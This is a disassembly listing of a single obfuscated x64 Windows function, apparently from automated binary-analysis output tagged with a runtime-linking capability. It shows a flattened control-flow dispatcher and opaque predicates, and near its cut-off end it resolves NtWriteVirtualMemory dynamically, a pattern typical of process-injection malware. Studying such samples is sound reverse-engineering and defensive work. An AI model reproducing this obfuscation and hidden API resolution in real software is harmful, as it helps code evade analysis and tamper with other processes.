Function at 0x1400bc8f0
Capabilities:
Link many functions at runtime

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
mov rax, qword [0x14024b008]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xfffffffe
mov ebx, ecx
xor ebx, 0xfffffffe
and ebx, ecx
mov edi, ebp
and edi, ebx
xor ebx, ebp
or ebx, edi
and edx, 0x4bb0fc27
and ecx, 0xb44f03d8
or ecx, edx
mov edx, ecx
xor edx, 0xb44f03d8
xor ecx, 0x4bb0fc27
and ecx, ebx
not ebx
and edx, ebx
or ecx, edx
xor ebx, ecx
test ebx, ecx
sete byte [rsp + 0x2e]
cmp eax, 0xa
setl byte [rsp + 0x2f]
mov r13d, 0x8d8424e4
mov r15d, 0x87515303
mov r12d, 0xe4767d07
mov r14d, 0x82912ad4
mov ecx, 0x8548f835
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov eax, dword [0x14024b728]
lea ebp, [rax - 1]
imul ebp, eax
mov eax, ebp
not eax
mov edx, eax
and edx, 0xfffffffe
mov ecx, ebp
and ecx, 1
or ecx, edx
mov edx, ecx
not edx
and eax, edx
and ecx, ebp
or ecx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
setne cl
sete al
cmp dword [0x14024b724], 0xa
setl dl
mov ebx, edx
or bl, al
xor bl, 1
xor al, dl
or bl, al
mov r8d, ebx
xor r8b, 1
or cl, dl
xor cl, 1
and al, dl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov r9d, eax
xor r9b, 1
mov edx, ebx
and dl, r8b
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ecx, edx
xor cl, 1
and cl, r9b
and dl, al
or dl, cl
mov ecx, r8d
xor cl, al
or al, r8b
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xc2917310
mov ebp, 0x34f9f9c9
cmovne ecx, ebp
test al, 1
mov eax, 0xc2917310
cmovne eax, ecx
test dl, 1
cmove eax, ecx
mov ecx, eax
nop dword [rax]
cmp ecx, 0x2ec7e76
jle 0x1400bd420
cmp ecx, 0x45a06cfc
jle 0x1400bcc20
cmp ecx, 0x63e4b717
jg 0x1400bce0b
cmp ecx, 0x529e72ae
jle 0x1400bd0db
cmp ecx, 0x581354fe
jle 0x1400bde0e
cmp ecx, 0x61c10129
jle 0x1400bef21
cmp ecx, 0x620771b7
jle 0x1400c113f
cmp ecx, 0x620771b8
je 0x1400c44b4
cmp ecx, 0x6246498d
je 0x1400c4637
cmp ecx, 0x62c34e40
jne 0x1400bca50
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov ebp, ecx
and ebp, 0x3dc9f213
mov edx, ebx
and edx, 0xc2360dec
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0xc2360ded
and edx, 0x3dc9f212
or edx, ebp
and ebx, 0x41cfc96a
mov ebp, ecx
and ebp, 0xbe303695
or ebp, ebx
xor ebp, 0x41cfc96b
and ecx, 1
or ecx, ebp
not ecx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and ecx, 0xf3ecb12e
and edx, 0xc134ed1
or edx, ecx
xor edx, 0xf3ecb12e
sete r8b
setne r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg r11b
mov edx, r11d
xor dl, r10b
and dl, r11b
mov edi, r9d
xor dil, r8b
and dil, r9b
mov eax, edx
xor al, 1
mov ecx, eax
and cl, dl
mov esi, eax
xor sil, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, sil
xor cl, 1
or al, dl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, edi
xor cl, 1
mov edx, ecx
and dl, dil
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
xor dl, 1
or cl, dil
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
or dl, al
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
or r10b, r8b
xor r10b, 1
xor r11b, r9b
mov ecx, r10d
and cl, r11b
xor r11b, r10b
or r11b, cl
mov edx, r11d
xor dl, 1
mov ecx, r11d
and cl, al
xor al, 1
and dl, al
or dl, cl
mov ecx, eax
and cl, r11b
xor al, r11b
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0x8260a302
mov ecx, 0xce8d0a66
cmovne ebp, ecx
test al, 1
mov ecx, 0x8260a302
jmp 0x1400c7fcb
cmp ecx, 0x29660e67
jg 0x1400bcf4d
cmp ecx, 0x1162a374
jle 0x1400bd27d
cmp ecx, 0x1cdad6a4
jle 0x1400bdf5a
cmp ecx, 0x235762ab
jle 0x1400bf0b7
cmp ecx, 0x2875dde4
jle 0x1400c116d
cmp ecx, 0x2875dde5
je 0x1400c4738
cmp ecx, 0x289a8b14
je 0x1400c474e
cmp ecx, 0x28cdc296
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xb658f02d
and edx, 0x49a70fd2
or edx, ecx
mov ebp, edx
xor ebp, 0x8020e40
xor edx, 0xa000902c
and edx, 0xe1a591be
and ebp, 0x1e5a6e41
or ebp, edx
mov ecx, ebp
xor ecx, 0xe1a591be
mov edx, ebp
xor edx, 0xe1a591bf
and edx, ecx
xor ebp, 0x8526241
and ebp, 0x88f66249
and ecx, 0x77099db6
or ecx, ebp
xor ecx, 0x77099db7
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xc633f09
and ebp, 0xf39cc0f6
or ebp, edi
or ecx, ebx
and ebx, 0xc633f09
and edx, 0xf39cc0f6
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x325414d
and ecx, 0xfcdabeb2
or ecx, ebp
xor ecx, 0x325414d
xor edx, ecx
test edx, ecx
setne r10b
sete r9b
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov ecx, eax
xor cl, r9b
not cl
and cl, r9b
mov ebx, eax
or bl, r9b
xor cl, 1
mov edx, ecx
xor dl, bl
or cl, bl
xor cl, 1
or cl, dl
or al, r10b
xor r10b, r8b
xor r10b, 1
xor r8b, r9b
xor al, 1
or al, r8b
xor al, 1
mov edx, r10d
and dl, al
xor al, r10b
or al, dl
mov edx, eax
xor dl, 1
mov r8d, ecx
xor r8b, 1
mov r9d, ecx
and r9b, r8b
and dl, al
mov ebx, r9d
xor bl, 1
xor r9b, cl
or bl, r8b
xor bl, 1
or bl, r9b
xor dl, 1
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
mov ecx, ebx
xor cl, 1
and cl, dl
xor dl, 1
and dl, bl
or dl, cl
mov ecx, r8d
and cl, al
xor r8b, al
or r8b, cl
mov eax, r8d
xor al, dl
test r8b, 1
mov ecx, 0xa81a8e23
mov ebp, 0xb73db979
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
not al
test al, 1
mov eax, 0xa81a8e23
jmp 0x1400ca4f3
cmp ecx, 0x71740e3d
jle 0x1400bd3c8
cmp ecx, 0x773073ba
jle 0x1400be0f0
cmp ecx, 0x7a6aa238
jle 0x1400bf20d
cmp ecx, 0x7b5d620a
jle 0x1400c130d
cmp ecx, 0x7b5d620b
je 0x1400c4830
cmp ecx, 0x7e3ef2fa
je 0x1400c491f
cmp ecx, 0x7fdbce28
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ebx, ebp
and ebx, 0xfffffffe
mov ecx, edx
and ecx, 1
or ecx, ebx
mov ebx, ecx
not ebx
and ebp, 0x3b0b30ca
and edx, 0xc4f4cf35
or edx, ebp
mov ebp, edx
xor ebp, 0x908615
xor edx, 0x3b0b30ca
mov edi, ecx
and edi, 0xf56c59a0
and ebx, 0xa93a65f
or ebx, edi
or ecx, edx
and edx, 0xf56c59a0
and ebp, 0xa93a65f
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xd585a53b
and ecx, 0x2a7a5ac4
or ecx, edx
xor ecx, 0x2a7a5ac4
sete cl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl al
mov edx, ecx
xor dl, al
mov ebx, edx
and bl, cl
and al, dl
mov r9d, ebx
xor r9b, 1
xor bl, al
xor al, 1
or al, r9b
xor al, 1
or al, bl
xor cl, r8b
and cl, r8b
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
xor al, 1
and al, dl
or cl, al
mov eax, ecx
xor al, bl
test cl, 1
mov ecx, 0xe66208da
mov ebp, 0x529e72af
cmovne ecx, ebp
test bl, 1
mov edx, 0xe66208da
jmp 0x1400c8f3d
cmp ecx, 0x3967c924
jle 0x1400bdcdb
cmp ecx, 0x3ea36c81
jle 0x1400bddfd
cmp ecx, 0x429c4c6a
jle 0x1400bf35a
cmp ecx, 0x431ee30a
jle 0x1400c1455
cmp ecx, 0x431ee30b
je 0x1400c4a5d
cmp ecx, 0x435ba374
je 0x1400c4a73
cmp ecx, 0x441e80e0
jne 0x1400bca50
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, ecx
xor ebp, 0xcce5802
mov ebx, ebp
and ebx, edx
and ebp, ecx
mov edi, ebx
and edi, ebp
xor ebp, ebx
or ebp, edi
mov ebx, ebp
not ebx
and ebx, 0xf331a7fc
and ebp, 0xcce5803
or ebp, ebx
and ecx, 0xa5b5d5a2
mov ebx, edx
and ebx, 0x5a4a2a5d
or ebx, ecx
xor ebx, 0xa5b5d5a3
and edx, 1
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0xa97122fc
and edx, 0x568edd03
or edx, ecx
mov ecx, edx
xor ecx, 0x440e4403
mov ebx, ebp
not ebx
xor edx, 0xa97122fc
mov edi, ebx
and edi, 0x92f1b9bc
and ebp, 0x6d0e4643
or ebp, edi
or ebx, edx
and edx, 0x92f1b9bc
and ecx, 0x6d0e4643
or ecx, edx
xor ecx, ebp
not ebx
or ebx, ecx
cmp ebx, 0xffffffff
sete r8b
setne r9b
cmp eax, 0xa
setl cl
cmp eax, 9
setg bl
mov eax, ebx
xor al, r9b
and r9b, cl
or cl, r8b
xor cl, 1
or cl, al
mov r10d, ecx
xor r10b, 1
and bl, r8b
or bl, r9b
mov edx, ebx
xor dl, 1
mov eax, edx
and al, bl
mov r8d, edx
xor r8b, al
xor al, 1
or al, bl
xor al, 1
or al, r8b
and r10b, al
xor al, 1
and al, cl
or al, r10b
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ebx, edx
xor bl, al
test dl, dl
mov ecx, 0x92ae8eaa
mov edx, 0x82912ad4
cmovne ecx, edx
test al, 1
mov r14d, 0x82912ad4
cmove ecx, edx
test bl, 1
mov eax, 0x92ae8eaa
jmp 0x1400ca6f6
cmp ecx, 0x4da46997
jg 0x1400be136
cmp ecx, 0x4ac4d9a0
jg 0x1400bf495
cmp ecx, 0x482f8847
jg 0x1400c1580
cmp ecx, 0x45a06cfd
je 0x1400c4bf0
cmp ecx, 0x470ab3ec
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x1dd1a539
and edx, 0xe22e5ac6
or edx, ecx
mov ecx, edx
xor ecx, 0xe22e5ac6
xor edx, 0xc902110
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0x2e943352
and ecx, 0xd16bccad
or ecx, edx
xor ecx, 0xd16bccac
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x1245b821
and ebp, 0xedba47de
or ebp, edi
or ecx, ebx
and ebx, 0x1245b821
and edx, 0xedba47de
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xabcf7cbc
and ecx, 0x54308343
or ecx, edx
mov edx, ecx
xor edx, 0x14300202
xor ecx, 0xaa4f0438
and ecx, 0xea4f8579
and edx, 0x15b07a86
or edx, ecx
xor edx, 0x15b07a86
setne r8b
sete r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r10b
mov r11d, r10d
xor r11b, cl
and r11b, r10b
mov eax, r9d
xor al, r8b
and al, r9b
mov ebx, eax
xor bl, 1
mov edx, eax
or dl, bl
xor al, dl
xor al, 1
or dl, bl
xor dl, 1
or dl, al
xor dl, r11b
mov r11d, edx
xor r11b, 1
mov ebx, r10d
xor r10b, r9b
and r9b, cl
and bl, r8b
or bl, r9b
or cl, r8b
xor cl, 1
or cl, r10b
xor cl, 1
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov ebx, ecx
xor bl, 1
mov eax, ebx
and al, cl
xor bl, al
xor al, 1
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, 1
and al, r11b
or r11b, cl
and cl, dl
or cl, al
mov eax, r11d
xor al, cl
test cl, 1
mov ecx, 0x32a94c3c
mov ebp, 0xc1ac2591
cmovne ecx, ebp
test r11b, 1
mov edx, 0x32a94c3c
jmp 0x1400c7d93
cmp ecx, 0x9b0c3e1
jg 0x1400be17c
cmp ecx, 0x68a426e
jg 0x1400bf657
cmp ecx, 0x4171ecf
jg 0x1400c15ae
cmp ecx, 0x2ec7e77
je 0x1400c4d4a
cmp ecx, 0x30aba05
jne 0x1400bca50
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ebp, [rdx - 1]
imul ebp, edx
mov ebx, ebp
not ebx
mov edx, ebx
and edx, 0xc30021f0
mov ecx, ebp
and ecx, 0x3cffde0e
or ecx, edx
mov edi, ecx
xor edi, 0x3cb10400
xor ecx, 0xc2002070
mov edx, ebp
or edx, 0xc24efa7e
and ecx, 0xc24efa7e
and edi, 0x3db10580
or edi, ecx
and edx, 0xc24efa7f
xor edx, edi
mov ecx, edx
not ecx
and ebx, 0x557ab0ca
and ebp, 0xaa854f35
or ebp, ebx
mov ebx, ebp
xor ebx, 0x80010805
xor ebp, 0x557ab0ca
mov edi, edx
and edi, 0x7a9657b2
and ecx, 0x8569a84d
or ecx, edi
or edx, ebp
and ebp, 0x7a9657b2
and ebx, 0x8569a84d
or ebx, ebp
xor ebx, ecx
not edx
or edx, ebx
cmp edx, 0xffffffff
setne cl
sete r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
and cl, bl
mov eax, edx
xor al, r8b
xor bl, r8b
and r8b, dl
or cl, r8b
and al, dl
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov eax, ebx
not al
and al, bl
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, 1
and al, bl
or bl, dl
and dl, cl
or dl, al
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0xd583ebe7
mov ecx, 0xf1c9a4ed
cmovne eax, ecx
test dl, dl
mov ecx, eax
mov edx, 0xd583ebe7
jmp 0x1400c21f7
cmp ecx, 0x68f66000
jg 0x1400be2e9
cmp ecx, 0x65106d54
jg 0x1400bf7a3
cmp ecx, 0x645a4b7a
jg 0x1400c17d9
cmp ecx, 0x63e4b718
je 0x1400c4d60
cmp ecx, 0x64568601
jne 0x1400bca50
mov ecx, 0xaceb094f
cmp ecx, 0x2ec7e76
jg 0x1400bca5c
nop word cs:[rax + rax]
nop
cmp ecx, 0xbeaf29b7
jg 0x1400bd4a0
cmp ecx, 0x9bb04765
jg 0x1400bd516
cmp ecx, 0x8cb16990
jle 0x1400bd8ae
cmp ecx, 0x924af7b2
jle 0x1400be45f
cmp ecx, 0x9661fa5d
jle 0x1400bf925
cmp ecx, 0x9b54087c
jle 0x1400c1936
cmp ecx, 0x9b54087d
je 0x1400c4d76
cmp ecx, 0x9b97863d
je 0x1400c4d8c
cmp ecx, 0x9ba024da
jne 0x1400bca50
mov ecx, 0xa3b367b7
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0xdd3bf101
jg 0x1400bd6de
cmp ecx, 0xce738741
jle 0x1400bd900
cmp ecx, 0xd5490cb6
jle 0x1400be5d8
cmp ecx, 0xd78853fd
jle 0x1400bfa92
cmp ecx, 0xdc68189d
jle 0x1400c1b0d
cmp ecx, 0xdc68189e
je 0x1400c4f0c
cmp ecx, 0xdc6b73ad
je 0x1400c50cc
cmp ecx, 0xdd240807
jne 0x1400bca50
mov ecx, 0x581354ff
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0xaccfcccf
jle 0x1400bdb46
cmp ecx, 0xb4c2b9fa
jle 0x1400be61e
cmp ecx, 0xb86f912b
jle 0x1400bfb70
cmp ecx, 0xba094552
jle 0x1400c1c59
cmp ecx, 0xba094553
je 0x1400c5272
cmp ecx, 0xbb37a5d6
je 0x1400c538f
cmp ecx, 0xbe0d0dad
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov r8d, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, ecx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov esi, edx
not esi
mov ecx, esi
and ecx, 0x5db5f877
and edx, 0xa24a0788
or edx, ecx
mov ecx, edx
xor ecx, 0xa24a0788
mov edi, edx
xor edi, 0xa8a82da
and edi, ecx
or esi, 0x573f7aad
mov ebp, esi
not ebp
mov ebx, edi
not ebx
mov eax, ebx
and eax, 0xf8a442c4
and edi, 0x75bbd3b
or edi, eax
or ebx, esi
and esi, 0xf8a442c4
and ebp, 0x408512
or ebp, esi
xor ebp, edi
not ebx
or ebx, ebp
mov eax, ebx
not eax
and eax, 0x376901a8
and ebx, 0xc896fe57
or ebx, eax
xor ebx, 0x9fa984fb
xor edx, 0xa4c867
and edx, 0x2ecccef
mov eax, ecx
and eax, 0xfd133310
or eax, edx
xor eax, 0x2ecccee
and ecx, 1
or ecx, eax
not ecx
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
not eax
and ecx, eax
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xf600d7a5
and eax, 0x9ff285a
or eax, ecx
mov ecx, eax
xor ecx, 0x46009521
xor eax, 0x96a2048
and eax, 0xb96a62cc
and ecx, 0x46959d33
or ecx, eax
xor ecx, 0x46959d33
sete cl
setne r9b
cmp r8d, 0xa
setl r10b
cmp r8d, 9
setg al
mov ebx, eax
or cl, al
and al, r9b
xor bl, r9b
or bl, al
mov eax, ebx
xor al, 1
or r10b, r9b
mov edx, ecx
xor dl, r10b
or cl, r10b
xor cl, 1
or cl, dl
mov edx, ebx
and dl, al
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
xor dl, cl
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, edx
xor al, cl
test cl, 1
mov ecx, 0x6e01b959
mov ebp, 0xb86f912c
cmovne ecx, ebp
test dl, 1
cmovne ecx, ebp
not al
test al, 1
mov eax, 0x6e01b959
jmp 0x1400ca6f6
cmp ecx, 0xf00374dc
jle 0x1400bdc89
cmp ecx, 0xf5e3a6cf
jle 0x1400be823
cmp ecx, 0xffcfca87
jle 0x1400bfbaf
cmp ecx, 0x657ca9
jle 0x1400c1c87
cmp ecx, 0x657caa
je 0x1400c53a5
cmp ecx, 0xda2f22
je 0x1400c54a4
cmp ecx, 0x1bdb2a3
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ebx, ebp
or ebx, 0xcfef881
mov ecx, ebx
not ecx
or edx, 0xd100066a
and edx, 0xddfc7e6a
and ebp, 0x28081
or ebp, edx
and ebx, 0xddfc7e6a
and ecx, 0x22010114
or ecx, ebx
xor ecx, ebp
mov edx, ecx
not edx
and edx, 0xf301077e
and ecx, 0xcfef881
or ecx, edx
mov ebp, ecx
xor ebp, 1
and ebp, ecx
mov edx, ecx
not edx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
not edx
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0xf4dcbef3
and ebp, 0xb23410c
or ebp, edi
or edx, ebx
and ebx, 0xf4dcbef3
and ecx, 0xb23410c
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x18644220
and edx, 0x40802194
or edx, ecx
mov ebx, edx
xor ebx, 0x800090
xor edx, 0x4470a40
or ebp, 0x58e463b4
mov ecx, ebp
not ecx
and edx, 0x44472b44
and ebx, 0x18a040b0
or ebx, edx
and ebp, 0x44472b44
and ecx, 0xa318940b
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0xa71b9c4b
and ecx, 0x58e463b4
or ecx, edx
setne r8b
sete r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r11b
mov eax, r9d
xor al, r11b
mov ebx, eax
and bl, r9b
and al, r11b
xor bl, 1
xor al, 1
mov r10d, ebx
xor r10b, al
or al, bl
xor al, 1
or al, r10b
and r8b, r11b
or r11b, r9b
and cl, r9b
or cl, r8b
mov edx, r11d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r11b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
xor al, 1
and al, dl
or cl, al
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0x8feb5b9e
mov edx, 0x88255285
cmovne eax, edx
test cl, 1
mov ecx, eax
cmovne ecx, edx
jmp 0x1400ca5e6
cmp ecx, 0x87515302
jg 0x1400be9c4
cmp ecx, 0x82912ad3
jg 0x1400bfcc0
cmp ecx, 0x8170b528
jg 0x1400c1d68
cmp ecx, 0x8005aa08
je 0x1400c5556
cmp ecx, 0x80672a2e
jne 0x1400bca50
mov ecx, 0x9f43df1c
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0xc7665033
jg 0x1400beacb
cmp ecx, 0xc1ac2590
jg 0x1400bfe62
cmp ecx, 0xbff0d305
jg 0x1400c1eb6
cmp ecx, 0xbeaf29b8
je 0x1400c556c
cmp ecx, 0xbf9d601f
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
mov ecx, ebp
xor ecx, 0x115b1652
and ecx, ebp
not ebp
and ebp, 0x10410410
and edx, 0x11a1242
or edx, ebp
xor edx, 0x11a1242
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xeea4e9ad
and ecx, 0x115b1652
or ecx, edx
mov ebx, ecx
mov edx, ecx
xor edx, 0x23f28b44
and edx, ecx
not ecx
and ecx, 0xc46687f9
and ebx, 0x3b997806
or ebx, ecx
mov ebp, ebx
xor ebp, 0x3b997806
mov ecx, ebp
and ecx, 0x23f28b44
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0xdc0d74ba
and edx, 0x23f28b45
or edx, ecx
and ebp, 1
xor ebx, 0x3b997807
or ebx, ebp
mov ecx, ebx
not ecx
and ecx, 0x79076149
and ebx, 0x86f89eb6
or ebx, ecx
mov ecx, ebx
xor ecx, 0x6701c30
xor ebx, 0x79076149
mov ebp, edx
not ebp
mov edi, ebp
and edi, 0x808de286
and edx, 0x7f721d79
or edx, edi
or ebp, ebx
and ebx, 0x808de286
and ecx, 0x7f721d79
or ecx, ebx
xor ecx, edx
not ebp
or ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0x160cb554
and edx, ebp
not ebp
and ebp, 0x16040410
and ecx, 0x8b144
or ecx, ebp
mov ebp, ecx
xor ebp, 0x80100
xor ecx, 0xfff74ebb
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x3934f26e
and ebp, 0x6080510
or ebp, edi
or ecx, ebx
and ebx, 0x3934f26e
and edx, 0xc6cb0d91
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xe9f34aab
and ecx, 0x160cb554
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x1cb05ea5
and edx, 0xe34fa15a
or edx, ecx
mov ecx, edx
xor ecx, 0x18001421
xor edx, 0xc305a100
and edx, 0xc7b5eb84
and ecx, 0x384a147b
or ecx, edx
xor ecx, 0x384a147b
sete r8b
setne bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg dl
mov eax, ebx
xor al, dl
and bl, al
and al, dl
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, ecx
or dl, r8b
xor cl, r8b
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
and bl, cl
xor cl, 1
and dl, cl
or dl, bl
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x92bf3754
mov ebp, 0xe7c08b39
cmovne eax, ebp
test cl, 1
mov ecx, 0x92bf3754
jmp 0x1400c9d43
cmp ecx, 0xa3909536
jg 0x1400beb11
cmp ecx, 0x9ec6825e
jg 0x1400c002d
cmp ecx, 0x9d67a79c
jg 0x1400c1ee4
cmp ecx, 0x9bb04766
je 0x1400c56b6
cmp ecx, 0x9d46f634
jne 0x1400bca50
mov edx, dword [0x14024b728]
mov ecx, dword [0x14024b724]
lea eax, [rdx - 1]
imul eax, edx
mov esi, eax
not esi
mov ebp, esi
or ebp, 0x97f92a1e
mov edx, ebp
not edx
mov edi, eax
or edi, 0x68000181
and edi, 0x7860099b
mov ebx, esi
and ebx, 0x87992204
or ebx, edi
and ebp, 0x7860099b
and edx, 0x6d460
or edx, ebp
xor edx, ebx
mov ebp, edx
not ebp
and ebp, 0x6806d5e0
and edx, 0x97f92a1f
or edx, ebp
and esi, 0x4118cda5
and eax, 0xbee7325a
or eax, esi
mov ebp, eax
xor ebp, 0xbee7325a
xor eax, 0x4118cda5
and eax, edx
not edx
and ebp, edx
or eax, ebp
xor edx, eax
test edx, eax
sete al
setne r9b
cmp ecx, 0xa
setl r8b
cmp ecx, 9
setg bl
mov edx, r9d
xor dl, al
and dl, r9b
mov ecx, edx
xor cl, 1
and cl, dl
mov r10d, ecx
and r10b, dl
xor cl, dl
or cl, r10b
xor cl, bl
and r8b, r9b
and al, bl
or al, r8b
mov edx, ebx
xor dl, r9b
or bl, r9b
xor bl, 1
or bl, dl
xor al, 1
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
mov edx, eax
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
xor cl, 1
xor dl, 1
and dl, cl
or al, dl
mov ecx, ebx
xor cl, al
test cl, 1
mov edx, 0xdfd7b853
mov ebp, 0x45a06cfd
cmovne edx, ebp
test al, 1
mov ecx, edx
cmovne ecx, ebp
jmp 0x1400c7900
cmp ecx, 0xe4767d06
jg 0x1400bec07
cmp ecx, 0xe2953927
jg 0x1400c010c
cmp ecx, 0xe13ae3ce
jg 0x1400c205c
cmp ecx, 0xdd3bf102
je 0x1400c5772
cmp ecx, 0xdfd7b853
jne 0x1400bca50
mov ecx, 0x45a06cfd
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0x3122e3bb
jle 0x1400becda
cmp ecx, 0x34f9f9c8
jg 0x1400c0146
cmp ecx, 0x32a94c3b
jg 0x1400c208a
cmp ecx, 0x3122e3bc
je 0x1400c587d
cmp ecx, 0x32a58ea9
jne 0x1400bca50
mov rcx, qword [0x14024b040]
lea rdx, str.NtWriteVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [0x14024b728]
mov r8d, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov eax, ecx
not eax
mov ebx, ecx
xor ebx, 0xfffffffe
and ebx, ecx
mov edx, ecx
or edx, 1
mov edi, ebx
not edi
mov esi, edx
and esi, 0x865fbbd9
mov ebp, eax
and ebp, 0x79a04426
or ebp, esi
or edx, edi
and edi, 0x865fbbd9
and ebx, 0x79a04426
or ebx, edi
xor ebx, ebp
not edx
or edx, ebx
and eax, 0xd9805eaa
and ecx, 0x267fa155
or ecx, eax
mov eax, ecx
xor eax, 0x267fa155
xor ecx, 0xd9805eaa
and ecx, edx
not edx
and eax, edx
or ecx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
setne al
